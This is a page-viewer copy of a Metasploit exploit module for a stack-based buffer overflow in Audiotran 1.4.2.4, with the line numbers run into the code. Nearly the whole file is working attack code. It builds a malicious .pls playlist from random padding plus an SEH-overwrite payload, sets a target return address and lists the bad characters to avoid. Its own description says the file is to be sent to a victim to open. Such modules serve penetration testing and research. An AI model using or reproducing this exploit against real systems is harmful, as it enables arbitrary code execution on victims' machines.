Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Audiotran PLS File Stack Buffer Overflow',14'Description' => %q{15This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.16An attacker must send the file to victim and the victim must open the file.17Alternatively, it may be possible to execute code remotely via an embedded18PLS file within a browser when the PLS extension is registered to Audiotran.19This alternate vector has not been tested and cannot be exercised directly20with this module.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Philip OKeefe',26],27'References' =>28[29[ 'EDB', '14961' ]30],31'Payload' =>32{33'Space' => 5000,34'BadChars' => "\x00\x0a\x0d\x3d",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], #p/p/r from amp3dj.ocx41],42'Privileged' => false,43'DisclosureDate' => '2010-09-09',44'DefaultTarget' => 0))4546register_options(47[48OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),49])50end5152def exploit53sploit = "[playlist]\r\nFile1="54sploit << rand_text_alpha_upper(1940)55sploit << generate_seh_payload(target.ret)56print_status("Creating '#{datastore['FILENAME']}' file ...")57file_create(sploit)58end59end606162